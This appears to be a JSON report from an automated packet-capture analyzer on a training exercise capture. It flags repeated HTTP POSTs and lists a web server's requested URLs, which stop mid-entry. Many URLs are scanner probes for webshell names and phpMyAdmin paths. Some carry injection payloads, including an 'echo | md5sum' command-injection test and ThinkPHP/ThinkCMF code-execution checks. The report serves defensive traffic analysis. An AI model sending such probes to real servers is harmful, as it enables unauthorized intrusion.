{
  "analysis_id": "389d8086-ac21-4e6d-9270-fdd62ee6d5b0",
  "session_id": "a7451493-89ce-4a51-a488-6471ae4dd527",
  "status": "completed",
  "filename": "2019-12-25-traffic-analysis-exercise.pcap",
  "source_sha256": "a86c6a31ed04ed05571f997d296f8e7c7be7f262f6e602bd72d9e5de656945c5",
  "source_size_bytes": 648688,
  "schema_version": "pcap-analysis-v1",
  "semantic_sha256": "658bd679a390ce4ba3a0cfec0e9155d91ee3f53763dbf5fcefd9f15ec7ae062b",
  "analyzer_manifest": {
    "limits": {
      "max_flows": 50000,
      "max_endpoints": 20000,
      "max_upload_bytes": 536870912,
      "max_exported_files": 50000,
      "max_events_per_kind": 50000,
      "max_exported_objects": 500,
      "tool_timeout_seconds": 300,
      "max_object_hash_index": 50000,
      "max_tool_output_bytes": 268435456,
      "max_exported_total_bytes": 268435456,
      "max_exported_object_bytes": 52428800
    },
    "profile_id": "tshark-evidence-v6",
    "profile_sha256": "aff64bf3786902d5d7a2c1a9be158a5246cc81aecea6c44eda74701431070465",
    "schema_version": "pcap-analyzer-manifest-v1",
    "tshark_version": "TShark (Wireshark) 4.4.18.",
    "manifest_sha256": "1f3c02483cfea06d85bd326f6e225f3f41a4ab703677d40537577e8bb85c1ce0",
    "capinfos_version": "Capinfos (Wireshark) 4.4.18.",
    "rulepack_version": "pcap-rules-v5",
    "implementation_sha256": "1a7d19199ff58059a12b34656620481b502fadc52d115b5f4b42fc28e5817c3c",
    "requested_fields_sha256": "e7a6eff11f7ae2101845897ce7e3b0a0e9cea31bdea4a824734869f39f3fb4f3",
    "supported_profile_fields_sha256": "6d94b9bc3aea93d5f7f4f815bdd025560ceba0d5e27b380ad14da28b44947994"
  },
  "summary": "Decoded 2438 packets across 2 IP endpoints and 83 transport flows. Observed 0 DNS events, 622 HTTP requests, 0 TLS ClientHello events, and 149 recovered file/message object(s). Deterministic rules produced 2 finding(s): 0 high, 2 medium, and 0 low. Findings are evidence-bound candidates and require analyst review; encrypted payload contents remain unavailable.",
  "report": "# AdversaryGraph Deterministic PCAP Analysis\n\nSource: 2019-12-25-traffic-analysis-exercise.pcap\nCapture SHA-256: `a86c6a31ed04ed05571f997d296f8e7c7be7f262f6e602bd72d9e5de656945c5`\nSemantic result SHA-256: `658bd679a390ce4ba3a0cfec0e9155d91ee3f53763dbf5fcefd9f15ec7ae062b`\nAnalyzer manifest SHA-256: `1f3c02483cfea06d85bd326f6e225f3f41a4ab703677d40537577e8bb85c1ce0`\n\n## Executive summary\n\nDecoded 2438 packets across 2 IP endpoints and 83 transport flows. Observed 0 DNS events, 622 HTTP requests, 0 TLS ClientHello events, and 149 recovered file/message object(s). Deterministic rules produced 2 finding(s): 0 high, 2 medium, and 0 low. Findings are evidence-bound candidates and require analyst review; encrypted payload contents remain unavailable.\n\n## Capture facts\n\n- Packets: 2438\n- Duration: 1187.641113 seconds\n- Captured bytes: 609656\n- Endpoints: 2\n- Flows: 83\n\n## Deterministic findings\n\n### MEDIUM — Repeated outbound HTTP POST activity\n\nThe same endpoint pair and HTTP target produced repeated POST requests suitable for beaconing or data transfer review.\n\nRule: `repeated-http-posts@pcap-rules-v5`; confidence: 0.72; evidence: frame 591 / TCP stream 16, frame 924 / TCP stream 30, frame 1090 / TCP stream 30, frame 1246 / TCP stream 35, frame 1751 / TCP stream 55.\n\nMetrics: `{\"declared_body_bytes\":119,\"destination\":\"10.12.25.101\",\"host\":\"128.199.64.235\",\"port\":80,\"request_count\":6,\"source\":\"139.199.184.166\",\"uri\":\"/qq.php\"}`\n\n### MEDIUM — Repeated outbound HTTP POST activity\n\nThe same endpoint pair and HTTP target produced repeated POST requests suitable for beaconing or data transfer review.\n\nRule: `repeated-http-posts@pcap-rules-v5`; confidence: 0.72; evidence: frame 930 / TCP stream 30, frame 933 / TCP stream 30, frame 1497 / TCP stream 50, frame 1659 / TCP stream 55, frame 1668 / TCP stream 55.\n\nMetrics: `{\"declared_body_bytes\":128,\"destination\":\"10.12.25.101\",\"host\":\"128.199.64.235\",\"port\":80,\"request_count\":6,\"source\":\"139.199.184.166\",\"uri\":\"/1.php\"}`\n\n## ATT&CK candidates\n\n- No deterministic ATT&CK candidates.\n\n## Identities\n\n- No identity-protocol values recovered.\n\n## Observed network and file inventory — not an IOC verdict\n\n- ipv4: `10.12.25.101`; roles: network-endpoint\n- ipv4: `128.199.64.235`; roles: http-host\n- ipv4: `139.199.184.166`; roles: network-endpoint\n- sha256: `002dec6d3ad597ad1363832cf980c066186b2a5f58b6142e09858f7d76d1eda7`; roles: exported-object\n- sha256: `04eebbc1d0c8d07eaa429c4676f1a4d4147ed6e434b051f8404b5750977f9be9`; roles: exported-object\n- sha256: `061c0ff5d6f501e9cf00f3a3748751f4551937bec1e79b76621d7e88a017ec89`; roles: exported-object\n- sha256: `067918e6f6b562d39358996bd0ac8ca5aedd37fea124afd6656e8a1328b14a47`; roles: exported-object\n- sha256: `07bc2cd7b6b5cb96d0487caa89080d9b80a2c59dab7ada05fb89e53f09aa980d`; roles: exported-object\n- sha256: `0947a7a5cd606f9fbc01a6f8a68689b719f4b593cc02fc15ecaaa4c5d087c54e`; roles: exported-object\n- sha256: `0ac1505747d95c61631db1420f88e990d4001c411407e85f6fe76880ed6401f3`; roles: exported-object\n- sha256: `0dbb7096e097f7ed71c520d093d8b1fc2f23e01fa5f3c3a71a8861e14c9b88cb`; roles: exported-object\n- sha256: `0ec71ec402ba43c54280456053b33624a9481559ecaa96ab45ace5d42d2b8697`; roles: exported-object\n- sha256: `0f1dc89be8163ccb17de516085af6add3cfd09854f416afee92203e1aca45a83`; roles: exported-object\n- sha256: `11ad503e7b0f728f45d3d3c346e516ffca7aa49aefe5634575fb27fb80b5e6cf`; roles: exported-object\n- sha256: `11ae4ece213f6e5fb811c194ce843d0719f6b5cba7a9e07a84876308014023e3`; roles: exported-object\n- sha256: `14170376d25bb11f6f3852ab3d81a87cbcda0c618a5a985bd1b794c8ddbd7fd2`; roles: exported-object\n- sha256: `1564d3db2b42cec507a3359d8f89fc060035ab94819b5504cec1b7715358f770`; roles: exported-object\n- sha256: `1b0788ffeb11a35f6baec1be34ee2d65c8da1611422dc0d063c0cc38ef38c049`; roles: exported-object\n- sha256: `1bf39d5a226560a2d8e011f57beec18a8c3599eee7b8eb95b5a9654e130d7e68`; roles: exported-object\n- sha256: `201a5616598b897bc8683e6ac3eb3f354a5eeb32c693e507706545fe03f8247a`; roles: exported-object\n- sha256: `207029dc899d5175df605dd25e4d60af77b5bf2b5bf75eaa951b0fca7615cd20`; roles: exported-object\n- sha256: `22d4e4edf6b669157f4d8b960b07e51f5d1189b481fe0d6c069c4a9c2e9b62f8`; roles: exported-object\n- sha256: `232a8b0a5755ac6497c68ab10572b17d4318b1e01961bbad679b0061d3ad60d0`; roles: exported-object\n- sha256: `233c5bb3d97bdc6393fa229ec35347ccfebba51f519d3013bc833c7f867eab9e`; roles: exported-object\n- sha256: `244de61d3491edb765abb93fe7f8f5548aad63f7b27b8b4aa64a2b83085f8fa2`; roles: exported-object\n- sha256: `25f77a89d80029b8735f7a5dddbf7e69ab27fdf998cec485ef02e14d67720ae6`; roles: exported-object\n- sha256: `2a88a2d5883c65f59114dd74a75d1d734d0fdee531d3119ed5c8ecc1c11f42e8`; roles: exported-object\n- sha256: `2c3906c7ad9f0f1a719ed2c92169e63d1e38c077da8fd49870ff9fc5f86253d6`; roles: exported-object\n- sha256: `2de5f6ac384ba39120f56ba6ed59c706c4a52d96fc5123575ed7fe0ec9c8f1a2`; roles: exported-object\n- sha256: `3171503cd3eb4ced940a1d0ef36312eca824a055b66bc54ce295a2433a165e25`; roles: exported-object\n- sha256: `363b45ef36c4b422e2343990313f4920dfab48b6e2336548d09257541f4e2659`; roles: exported-object\n- sha256: `39065d99363d6ee5b1acc6dfef3296e45609bcf500fd353c5d7109de05814fdf`; roles: exported-object\n- sha256: `394255f257a9e01ce5838b8023f8469090434a6dff6f2484ccedc68baecb58ca`; roles: exported-object\n- sha256: `398e5b24097be4e9b0ac36902dddf964b364071eb383f91f856ff5c9dc1c5d58`; roles: exported-object\n- sha256: `39cad84b05c06b4b0349229379fe47079f0c20a7620ee3ef11180c293b5015dd`; roles: exported-object\n- sha256: `3b690b1cc0bb875bb2dbb1a06c9ba84ede108e11e702b0582ebc0a29819edd24`; roles: exported-object\n- sha256: `3ca4a88819724de1c262999827fc52028fe4879b08d51bb57067fee192caab43`; roles: exported-object\n- sha256: `3ef3aa42bc88de9043ac872bc1b24e2f530f244ee2b924e6891caa396ac68362`; roles: exported-object\n- sha256: `3fd00b82d4e7698a68bcbf4d94505a71aad3fa59a9600cdff34afc868b70c025`; roles: exported-object\n- sha256: `438e452b4bee81dbe459dc9082ed15556e117c3110318c4c336633a8e46b2105`; roles: exported-object\n- sha256: `45ecec3bdf32d519c20bd147b7b36a42c802ee3d33ca614cdfa667c82e4d8a60`; roles: exported-object\n- sha256: `46c7ad95f8964264d4b79d95fafd174bf93fb9b8b9823a128c22350c17d40d4c`; roles: exported-object\n- sha256: `472d1c07fb6fa554f291c056580ee3b57ccc6f1eb3acde8c114f0e9d072ebcdd`; roles: exported-object\n- sha256: `47aea2244a844301999c7261c840ccd94d4d2c8adad8642d8f59f897ffb34113`; roles: exported-object\n- sha256: `48ed77af7b3153860c46cb5fe6235e7c40d373d8cf735dd43115af97c2a8cbf1`; roles: exported-object\n- sha256: `493b4ab19faeb49509e1a9b730e3f970e311445cf1e18bbd8712ff971b2d3a78`; roles: exported-object\n- sha256: `4b13c2f7340c63af42a5d62915fbc6aa10bf0f1530d751f6369f5132209ef055`; roles: exported-object\n- sha256: `4c3eee1d3a323e28500ee14a899fd43b2b24b3424ee69f3962a84c912f26bfa7`; roles: exported-object\n- sha256: `5125bf862c72ccb0de89bbd789010efdd11456196c712f9342320c66a8f6fb87`; roles: exported-object\n- sha256: `520876bf35fe63f19fb5a2e95b0b1bb71e1a3594ac8da078de4c4a67a162facb`; roles: exported-object\n- sha256: `52f2375e9e406350794211299e6da748359401606995e965fdc62f0ce45fefbc`; roles: exported-object\n- sha256: `54439de67d3af19d75b468511444a25f067767ff629b0e0262bb6781ed27b7bd`; roles: exported-object\n- sha256: `57133fb0fb0b2dcd1b8c9543e3fc99518ce84426d286c9cd72085b43b5d8759b`; roles: exported-object\n- sha256: `57a6db8da84404a4fc276685b85b3ed3f6bfa2b62cc9e98c2fe62734d78f6444`; roles: exported-object\n- sha256: `5a45c5592a0b247efa23bb97e6a30fd7c9b516478faf22583c3c12ce8cb2b63c`; roles: exported-object\n- sha256: `5af181de5f983b28300bc36f16dc067212c41c86da2ea4393b9b89368a15ee96`; roles: exported-object\n- sha256: `64be87fe9aff766bc913c9a9206848681460a9783a56f61cb3e708ae6ed1d0a8`; roles: exported-object\n- sha256: `6969deae0d6a67ac80b1725825af06e963e4a1457a86b570d6f434a361292bfb`; roles: exported-object\n- sha256: `69b8076030fcadb25b8153706a27ad847ffbb8af4e00f178019f67731c688c20`; roles: exported-object\n- sha256: `69ebb06901e1a0b1d853c28fddcd8e1179397f351e10042f9fe13c632e2c4287`; roles: exported-object\n- sha256: `6b269e52837eaa9fc3463f4c6b02e01a3f0740e7e1a877954a4901da1bea9c6c`; roles: exported-object\n- sha256: `6d8c2fe47cd2be5738d9bd4e50456d2f743a4f5918031859ba2546cfece0d65c`; roles: exported-object\n- sha256: `6e272c07a820262e6295153f071985aac74fbc68736d3e1f95a76dbb34999f45`; roles: exported-object\n- sha256: `6e6144a1e8ea91916a7ee8d31572c4f718d3339999343368718edbcf7d600e80`; roles: exported-object\n- sha256: `78cb8cbc04e24c367d460b271f8ebb2fa8084e327c8101a69a7d0df4b5634c48`; roles: exported-object\n- sha256: `797895866e42e3c8163115d238a95ea7363cc682cd66ce597c67cf90c4954d1a`; roles: exported-object\n- sha256: `7af6b112a2e2896b498e7016a42e62a3b37846f39a8539e6c676c3e68e3d5835`; roles: exported-object\n- sha256: `7c9a5898114672ea44e5499fe2119e49e88c5b0c42b002fbbe01bc82fa13a5f8`; roles: exported-object\n- sha256: `7f30439fcfcae9644fbfc0dd83715215305d36ba87ae4a7e8e08651495980ef2`; roles: exported-object\n- sha256: `8080b02949fe6bf56a51b1bc0df1dce317643e7da34b4ff1ef91037adea96571`; roles: exported-object\n- sha256: `81ae3595dceae4fcbbaff6913241a3ba6140af3be99c11e0843aa0ed94bb50dc`; roles: exported-object\n- sha256: `82994434e3b31cf661606a76d8732bc8b567d25fccaa97fd73d5e13c6d8bc1e1`; roles: exported-object\n- sha256: `82cd0a14e16feac81a7b91bb6b6ad31e9fe3096514858301b583a5c32ff8f34b`; roles: exported-object\n- sha256: `8567e5edc0206dfb26058c1a3aff7e3c257d4946139bde76fdb9372a68a1cb15`; roles: exported-object\n- sha256: `87ad34c0f1e82b83cf621fb7f523b310593a2c2b3e6868d9208a580b14d9605c`; roles: exported-object\n- sha256: `899fb23b6ce90e858f422f0ccfcb3e416d5cb322be3a4957795eca799e31a570`; roles: exported-object\n- sha256: `8b0f92db662e01955869d186ec124ffcc99aa548f070b9f55827f01977914f4d`; roles: exported-object\n- sha256: `8bb36493ae8a1f0879bb84e20c4c2fc8a4737be858fcbe80390dcafe84706bef`; roles: exported-object\n- sha256: `8d0dacc8798f82e5d92ce49a325e4f846690beb98d47aa3a4812364cba281132`; roles: exported-object\n- sha256: `8d949fb887bc7dc3f322aa6f52f458d62ae4e80660bcacec409f8dc2e0e13358`; roles: exported-object\n- sha256: `8ec7ddf4593322ed0347f57f4f2d156532cc66f8d9fff664cb23d0e05a13adc4`; roles: exported-object\n- sha256: `8f5eb502af770fbd3d3c03fb4630f797f83ca95ee0788dab8e1ceb16d217cf03`; roles: exported-object\n- sha256: `900438cb86786337c0c7533823217981533629ea950a672198920fc20a4c89a7`; roles: exported-object\n- sha256: `91eb3ebce7c320b2150ecffc367a0f13ca2481538198d0bb667632a1212c9293`; roles: exported-object\n- sha256: `968efc00e35199ff31b57763c07b10f7b03197f8c1b789ef42b13f8828a6cf85`; roles: exported-object\n- sha256: `968ffc30a7b3869cabb69b414a6e9cddeb9c0cbfb3fb98d7b15ae29fd5ec66a7`; roles: exported-object\n- sha256: `97b5a403ad7aed9ac226d5612ae914e6a9b814c3d96107a970f4dc42bc422293`; roles: exported-object\n- sha256: `99076c799f20345cadcd16f06a00c3d763b4b199ef28f0454856bd2520578263`; roles: exported-object\n- sha256: `9d78edbcd5ce074aea33ca46b6179acaea71b1da5037512696f654f6e1c8fd97`; roles: exported-object\n- sha256: `9ef810f8bb32ec089c435d94fc83bb1641adbda32a06e2205b9d71d1930177ed`; roles: exported-object\n- sha256: `9f2d0a3e26408ec0b0163681689396992c9d8b7bc8daf65666925476a0b6ded1`; roles: exported-object\n- sha256: `a07cfb41343f70a8e6a5c7b5056e688fc71b3dc6da4ade21236ace122f7c0669`; roles: exported-object\n- sha256: `a51f236fe8f0dde786a894678e91927d9f070882454c731a7344c0080695e262`; roles: exported-object\n- sha256: `a5a5dccf0a857e1b590c708f686a5ec586d90dd6b22296d826ae544f99e61125`; roles: exported-object\n- sha256: `a698bbd9e222f8414d7cb89daad8a4e958d913f2af91e11838d94ad7a1c293ad`; roles: exported-object\n- sha256: `a7cd66c3fff91a6aab3d190fd8ad88db7855ca72fe34bced1601b3796a3a9aee`; roles: exported-object\n- sha256: `a899107f2aeb1173d0ca1f5c56a67df994e9dc8e2b38d14abca67e7cabaac2d8`; roles: exported-object\n- sha256: `a96a4910f93b4c0458875c5a212a738ea90d9d6ce1ed4bb45bbe441504d82183`; roles: exported-object\n- sha256: `ab24a7d0f6d293a538d088347209b218985e62951711ec053d6df628ee3ea9ab`; roles: exported-object\n- sha256: `ac72a7df2de0e0af886e852b5fd8af7a1d00420c49d616485bb59452f7336441`; roles: exported-object\n- sha256: `b1597d3c8c9f4c8eea1125a279a43e1e8c4c9e31d8fa454dec7c527bb7514bbd`; roles: exported-object\n- sha256: `b34276d8134d9ba52e9ff67f193b34c76e97f28e791f965f86108fd0360ef764`; roles: exported-object\n- sha256: `b3917c59ece41f1e331c499cd527251b0d8ef6b9ae64b6dea951d58a8a6a1c12`; roles: exported-object\n- sha256: `b5d199a29ed5574aca9a69f0c7d1fe5c1a6de1cda7f329bf4956aeef31f97e7a`; roles: exported-object\n- sha256: `b6b7f079dde177adfbdee65da6133faa2b7385c4c8f4127fea5730f7a6567314`; roles: exported-object\n- sha256: `b77a97b79ec939cac69275075255f14cf0136d18a5356a175612f5367b9d3455`; roles: exported-object\n- sha256: `b947c4288a7cb946e82bf2385142468a80216418afc08e691f46b2150ae67f96`; roles: exported-object\n- sha256: `b9675fae78e1629a839003278047bd854656d31f0a3990d9bf192f9d81454a97`; roles: exported-object\n- sha256: `ba1f895b79ddd4458c3fd2f0721ce08e44618c415277b3bca26e58c2d6990ba1`; roles: exported-object\n- sha256: `bd18f7078dd097ee2c16800851a78b8b8dc6f15700dc2f9ba568761b9d6e82c7`; roles: exported-object\n- sha256: `c167ff44fed14c30dd6e0fee4907bafec8f7cd21b99f2b2171c0c524a2e68aba`; roles: exported-object\n- sha256: `c21ce16ee41a235a14a1cb8dde0712f14ecf2e509ca4708b5c3649936693fb72`; roles: exported-object\n- sha256: `c392f0b33c844ce01c1e49f41b76ff4afabd2aa9ba990aeede430cab19f9605e`; roles: exported-object\n- sha256: `c3e6f10a64140a912b9157eec7deacf0197307bb7503dc7247a75cb8d3693084`; roles: exported-object\n- sha256: `c3eeaf0ad25a1b0b6f039960a12d5a0a057063e6f55ba7455e3280a5970b7e77`; roles: exported-object\n- sha256: `c48e6733b3802d1bbf20444cd7379191ce0fa375f7fd5496b74af4c9433c21ac`; roles: exported-object\n- sha256: `ca6d88dbd1c94ff8a71cdee9a85e4a256f45b2b46a97adbeaf650d252798c0cb`; roles: exported-object\n- sha256: `ce00fb93bdd8799116dee501491619b2987f56bcff2e1260e6e72e0714e0f28f`; roles: exported-object\n- sha256: `cedc5ec45dfeb1038a22da675c2e39f81bc4ac92edb6d8855ada19c5b408676d`; roles: exported-object\n- sha256: `d5ed840ae489ce44a548368ee4509159861b1ea9cd7b4f25757b4e48034c6e26`; roles: exported-object\n- sha256: `d865a258acf829c542f35fca5931a773daac3d1a5109d6b6d5d78793ec244ba6`; roles: exported-object\n- sha256: `db1f3f66a80465a4d301fdcc8e0fe1eadc8df8686b51045d6761827ef1ab4d62`; roles: exported-object\n- sha256: `dbf0d0abe58f7dd74438929ab8dea07e5bf6beb6b648667e3c76fbd10f825db0`; roles: exported-object\n- sha256: `dc5eda42292e02c4bd0661d61a85656c9cfc498fc84df0e3fc39c11d5e975489`; roles: exported-object\n- sha256: `dc99dd551fa056c087c081fc33173a22bdf15d234dbef758de327663fe1b5dad`; roles: exported-object\n- sha256: `de82cfb9dcaa44def410601aa958c737e74e451c058b8c964e33f1c5d01bb124`; roles: exported-object\n- sha256: `df536ceea712fce0cbd5c6ab4d5bd03f0da47e297d366e7d8b94587049f60e8f`; roles: exported-object\n- sha256: `df68b2a3ded8ac0bbb5df2004cb70fcf2af56e207c70b360e6b5a19a28792640`; roles: exported-object\n- sha256: `e100603116e2ef5ad761bb07fe2eda8bab6ef2525c5d9647b6108f8be84a7c2a`; roles: exported-object\n- sha256: `e4e9a66087f77e4a064a175c3fb36f3259617ff72fb2e12d08cb375f985f327b`; roles: exported-object\n- sha256: `e7a8ee05bb0196f85adf00c64b9196dd3bc9bf0838052493634d78896767f418`; roles: exported-object\n- sha256: `e85e98b76eff35f6f764c4f87aaaad9aef7b8c330289656a0e290a67ae25c265`; roles: exported-object\n- sha256: `eba75f2e544604a5c8201de6992a4111cf7df474fafb3bfa98786e0c2c66e788`; roles: exported-object\n- sha256: `ecf7fe3c44cf97fe0fe76364fc5c699afa7a5414ff339cde92d3ff1b5b00a42b`; roles: exported-object\n- sha256: `ed6d902f4f14b9ae2e25ae1882603ba1359ec2065acefc2ec322284dad1cbc48`; roles: exported-object\n- sha256: `ee0baf8858675f8e670d5f1e3f9945ed1120eccde1c24be5cafc1e251637aa47`; roles: exported-object\n- sha256: `f0ec8b0238af53aa86c9cba9f94ce4c4d93e4e4b26a4b8478b9d04b909ccf900`; roles: exported-object\n- sha256: `f32f1906df0271cc992f71e3c11c03e6b32739b0d3c4056127181806d0b3da65`; roles: exported-object\n- sha256: `f37feb3989cd9f1337ccd8becd3dab888fa19a06e89d904851ecfb09151cd06a`; roles: exported-object\n- sha256: `f49f38b80f1b42ea04d040dfe84b546eab5046ff1cebc46220048e81331e77af`; roles: exported-object\n- sha256: `f4bdfe1a51f53263d3692ca20b33dbb8b42d23b3bc846058792ce6f3aa7042c2`; roles: exported-object\n- sha256: `f5cbe4a6f56982e8cb5aa5c59c396cd2e3a556aa7701781787471eb89abb67cc`; roles: exported-object\n- sha256: `f5e735af8b829508f30b65ecee7c9b7e1d2dcf9a2542ea8e993dfc1dccf6afc0`; roles: exported-object\n- sha256: `f61a99b580f6f7d5be6606cc9bfad8ef439a9d99502002ec26cbe10e9c1c4680`; roles: exported-object\n- sha256: `f67a132d9c7574f5a220c353a44a9c831f36a55de24b0205967d8c82e74cd2ac`; roles: exported-object\n- sha256: `f6b92f8e7a0f2820215864ea67ef68a73dfd4a8aa7c71a3c86237ea8120cad4c`; roles: exported-object\n- sha256: `f991a1a53ff96435a1f2d9a8fa9096da14be40631eda9f4db25752f5f6e93827`; roles: exported-object\n- sha256: `fa93c862accf27f008bdc88f5621a8cd682f07c664a536a3fdd209ce55c3845f`; roles: exported-object\n- sha256: `fbc1d599972304c52bdbbb4031ec773d49f676a86c858b0720729543d7de16f0`; roles: exported-object\n- sha256: `fcb9c5e6294ada43b98743ebcf2b19f76797de2cccf3571638fa8522dd5af218`; roles: exported-object\n- sha256: `fd392dc065349461b88b41e02c8a6376cc92a8420e9349aac77a0000170d783f`; roles: exported-object\n- sha256: `ff3d2ac0ebd4aaa76a09c004b754f8370b74659fe3dc02760c40b097bb9dfd97`; roles: exported-object\n- url: `http://128.199.64.235/`; roles: http-request\n- url: `http://128.199.64.235/%73%65%65%79%6F%6E/%68%74%6D%6C%6F%66%66%69%63%65%73%65%72%76%6C%65%74`; roles: http-request\n- url: `http://128.199.64.235/.php`; roles: http-request\n- url: `http://128.199.64.235/099.php`; roles: http-request\n- url: `http://128.199.64.235/1.php`; roles: http-request\n- url: `http://128.199.64.235/1/index.php`; roles: http-request\n- url: `http://128.199.64.235/11a.php`; roles: http-request\n- url: `http://128.199.64.235/12.php`; roles: http-request\n- url: `http://128.199.64.235/1213.php`; roles: http-request\n- url: `http://128.199.64.235/123.php`; roles: http-request\n- url: `http://128.199.64.235/123131/index.php`; roles: http-request\n- url: `http://128.199.64.235/1234.php`; roles: http-request\n- url: `http://128.199.64.235/1hou.php`; roles: http-request\n- url: `http://128.199.64.235/1ts.php`; roles: http-request\n- url: `http://128.199.64.235/1x.php`; roles: http-request\n- url: `http://128.199.64.235/2.php`; roles: http-request\n- url: `http://128.199.64.235/2ndex.php`; roles: http-request\n- url: `http://128.199.64.235/3.php`; roles: http-request\n- url: `http://128.199.64.235/321/index.php`; roles: http-request\n- url: `http://128.199.64.235/4.php`; roles: http-request\n- url: `http://128.199.64.235/411.php`; roles: http-request\n- url: `http://128.199.64.235/415.php`; roles: http-request\n- url: `http://128.199.64.235/421.php`; roles: http-request\n- url: `http://128.199.64.235/444.php`; roles: http-request\n- url: `http://128.199.64.235/51314.php`; roles: http-request\n- url: `http://128.199.64.235/520.php`; roles: http-request\n- url: `http://128.199.64.235/5201314.php`; roles: http-request\n- url: `http://128.199.64.235/56.php`; roles: http-request\n- url: `http://128.199.64.235/5678.php`; roles: http-request\n- url: `http://128.199.64.235/605.php`; roles: http-request\n- url: `http://128.199.64.235/666.php`; roles: http-request\n- url: `http://128.199.64.235/7.php`; roles: http-request\n- url: `http://128.199.64.235/777.php`; roles: http-request\n- url: `http://128.199.64.235/789056.php`; roles: http-request\n- url: `http://128.199.64.235/7o.php`; roles: http-request\n- url: `http://128.199.64.235/803.php`; roles: http-request\n- url: `http://128.199.64.235/887.php`; roles: http-request\n- url: `http://128.199.64.235/888.php`; roles: http-request\n- url: `http://128.199.64.235/9.php`; roles: http-request\n- url: `http://128.199.64.235/92.php`; roles: http-request\n- url: `http://128.199.64.235/9510.php`; roles: http-request\n- url: `http://128.199.64.235/9678.php`; roles: http-request\n- url: `http://128.199.64.235/981.php`; roles: http-request\n- url: `http://128.199.64.235/98k.php`; roles: http-request\n- url: `http://128.199.64.235/99.php`; roles: http-request\n- url: `http://128.199.64.235/999.php`; roles: http-request\n- url: `http://128.199.64.235/?a=echo%20-n%20HelloNginx%7Cmd5sum`; roles: http-request\n- url: `http://128.199.64.235/?a=fetch&content=<php>die(@md5(HelloThinkCMF))</php>`; roles: http-request\n- url: `http://128.199.64.235/_404.php`; roles: http-request\n- url: `http://128.199.64.235/__phpMyAdmin/index.php`; roles: http-request\n- url: `http://128.199.64.235/_query.php`; roles: http-request\n- url: `http://128.199.64.235/a.php`; roles: http-request\n- url: `http://128.199.64.235/a411.php`; roles: http-request\n- url: `http://128.199.64.235/aa.php`; roles: http-request\n- url: `http://128.199.64.235/aaa.php`; roles: http-request\n- url: `http://128.199.64.235/aap.php`; roles: http-request\n- url: `http://128.199.64.235/abak.php`; roles: http-request\n- url: `http://128.199.64.235/abc776.php`; roles: http-request\n- url: `http://128.199.64.235/about_ver.php`; roles: http-request\n- url: `http://128.199.64.235/ack.php`; roles: http-request\n- url: `http://128.199.64.235/admin/index.php`; roles: http-request\n- url: `http://128.199.64.235/admin/mysql/index.php`; roles: http-request\n- url: `http://128.199.64.235/admin/mysql2/index.php`; roles: http-request\n- url: `http://128.199.64.235/admin/phpmyadmin/index.php`; roles: http-request\n- url: `http://128.199.64.235/admin/phpMyAdmin/index.php`; roles: http-request\n- url: `http://128.199.64.235/admin/phpmyadmin2/index.php`; roles: http-request\n- url: `http://128.199.64.235/admin/pma/index.php`; roles: http-request\n- url: `http://128.199.64.235/admin/PMA/index.php`; roles: http-request\n- url: `http://128.199.64.235/admin1.php`; roles: http-request\n- url: `http://128.199.64.235/Admin1f768268/Login.php`; roles: http-request\n- url: `http://128.199.64.235/Administrator.php`; roles: http-request\n- url: `http://128.199.64.235/admn.php`; roles: http-request\n- url: `http://128.199.64.235/afafaf.php`; roles: http-request\n- url: `http://128.199.64.235/ag.php`; roles: http-request\n- url: `http://128.199.64.235/ak.php`; roles: http-request\n- url: `http://128.199.64.235/ak47.php`; roles: http-request\n- url: `http://128.199.64.235/ak48.php`; roles: http-request\n- url: `http://128.199.64.235/Alarg53.php`; roles: http-request\n- url: `http://128.199.64.235/angge.php`; roles: http-request\n- url: `http://128.199.64.235/aotu.php`; roles: http-request\n- url: `http://128.199.64.235/aotu7.php`; roles: http-request\n- url: `http://128.199.64.235/api.php`; roles: http-request\n- url: `http://128.199.64.235/app.php`; roles: http-request\n- url: `http://128.199.64.235/App/?content=die(md5(HelloThinkPHP))`; roles: http-request\n- url: `http://128.199.64.235/appserv.php`; roles: http-request\n- url: `http://128.199.64.235/asjc.php`; roles: http-request\n- url: `http://128.199.64.235/avast.php`; roles: http-request\n- url: `http://128.199.64.235/aw.php`; roles: http-request\n- url: `http://128.199.64.235/b.php`; roles: http-request\n- url: `http://128.199.64.235/baidoubi.php`; roles: http-request\n- url: `http://128.199.64.235/bak.php`; roles: http-request\n- url: `http://128.199.64.235/bbq.php`; roles: http-request\n- url: `http://128.199.64.235/bbqq.php`; roles: http-request\n- url: `http://128.199.64.235/bbr.php`; roles: http-request\n- url: `http://128.199.64.235/bbs.php`; roles: http-request\n- url: `http://128.199.64.235/bbs/index.php`; roles: http-request\n- url: `http://128.199.64.235/bbv.php`; roles: http-request\n- url: `http://128.199.64.235/beimeng.php`; roles: http-request\n- url: `http://128.199.64.235/boots.php`; roles: http-request\n- url: `http://128.199.64.235/bx.php`; roles: http-request\n- url: `http://128.199.64.235/cacti/plugins/weathermap/editor.php`; roles: http-request\n- url: `http://128.199.64.235/cainiao.php`; roles: http-request\n- url: `http://128.199.64.235/caonma.php`; roles: http-request\n- url: `http://128.199.64.235/cc.php`; roles: http-request\n- url: `http://128.199.64.235/CC.php`; roles: http-request\n- url: `http://128.199.64.235/CCC.PHP`; roles: http-request\n- url: `http://128.199.64.235/CCCC.PHP`; roles: http-request\n- url: `http://128.199.64.235/cer.php`; roles: http-request\n- url: `http://128.199.64.235/cere.php`; roles: http-request\n- url: `http://128.199.64.235/ceshi.php`; roles: http-request\n- url: `http://128.199.64.235/chaoda.php`; roles: http-request\n- url: `http://128.199.64.235/claroline/phpMyAdmin/index.php`; roles: http-request\n- url: `http://128.199.64.235/cmd.php`; roles: http-request\n- url: `http://128.199.64.235/cmdd.php`; roles: http-request\n- url: `http://128.199.64.235/cmv.php`; roles: http-request\n- url: `http://128.199.64.235/composer.php`; roles: http-request\n- url: `http://128.199.64.235/composers.php`; roles: http-request\n- url: `http://128.199.64.235/conf.php`; roles: http-request\n- url: `http://128.199.64.235/conf1g.php`; roles: http-request\n- url: `http://128.199.64.235/confg.php`; roles: http-request\n- url: `http://128.199.64.235/config.php`; roles: http-request\n- url: `http://128.199.64.235/conflg.php`; roles: http-request\n- url: `http://128.199.64.235/coonig.php`; roles: http-request\n- url: `http://128.199.64.235/core.php`; roles: http-request\n- url: `http://128.199.64.235/cxfm666.php`; roles: http-request\n- url: `http://128.199.64.235/d7.php`; roles: http-request\n- url: `http://128.199.64.235/data.php`; roles: http-request\n- url: `http://128.199.64.235/db.init.php`; roles: http-request\n- url: `http://128.199.64.235/db.php`; roles: http-request\n- url: `http://128.199.64.235/db/index.php`; roles: http-request\n- url: 